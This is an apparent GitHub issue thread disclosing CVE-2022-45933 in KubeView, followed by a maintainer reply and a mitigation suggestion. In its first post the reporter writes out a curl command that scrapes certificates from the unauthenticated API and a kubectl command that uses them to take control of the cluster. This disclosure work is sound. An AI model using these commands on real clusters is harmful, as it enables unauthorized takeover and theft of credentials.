[CVE-2022-45933] Critical Security Issue that could lead to full cluster takeover

[OmniSl4sh]

Hello,

may you please consider adding authentication to KubeView?

a curl to the the API for the kube-system namespace would return certificate files that can be used for authentication and ultimately lead to taking full control over the k8s cluster!

the request would be like this:

curl http://x.x.x.x/api/scrape/kube-system | jq | grep -P '(BEGIN|END) (RSA|CERT)'

and using the certs for auth like below:

kubectl --client-certificate=adm.crt --client-key=adm.key --certificate-authority ca.crt --server https://x.x.x.x

Please fix this ASAP to make sure everyone who uses this is secure.

Thanks in advance :)

[benc-uk]

Thanks for flagging this.
Kubeview created as a fun side project and a learning exercise, I knew it wasn't very secure from the start, I can see if I can find a way to exclude these from the scrape API

Sorry it won't be done ASAP as I have other priorities

[OmniSl4sh]

You're welcome.

Sure I understand.

Excuse me if I offended you by asking for this to be done ASAP. it wasn't intended.
I also didn't mean to suggest only one way for the fix: authentication. I totally respect how you want security to be implemented since it's your project.

It was out of panic and concern that's all. I'm sure you can imagine the impact if this is exposed to a malicious actor.

However, authentication would reduce the amount of information disclosure to zero which I believe is the best option. of course, I'll be glad to hear a better opinion.

I'm positive that you also won't disagree that jeopardizing the security of an entire cluster would greatly outweigh a great solution like yours. Even if it's totally open-source and free.

Kindly mind that responsibility.

Thank you again.

[grmpfhmbl]

If I may make a suggestion: You probably don't want to expose this dashboard at all as LoadBalancer or Ingress. Have a look at how for example Weave Scope is doing it. The Service is a ClusterIP and then you access the dashboard via kubectl port-forward .... This is probably the safest way of doing this as users who should have access to this type of information probably already have access to the cluster via kubectl anyways and others probably should not see this information.
Sorry... I just saw that this is already implemented in #71 .

Additionally - especially if you don't have time to fix this issue quickly - please add a big note to the README mentioning this security issue.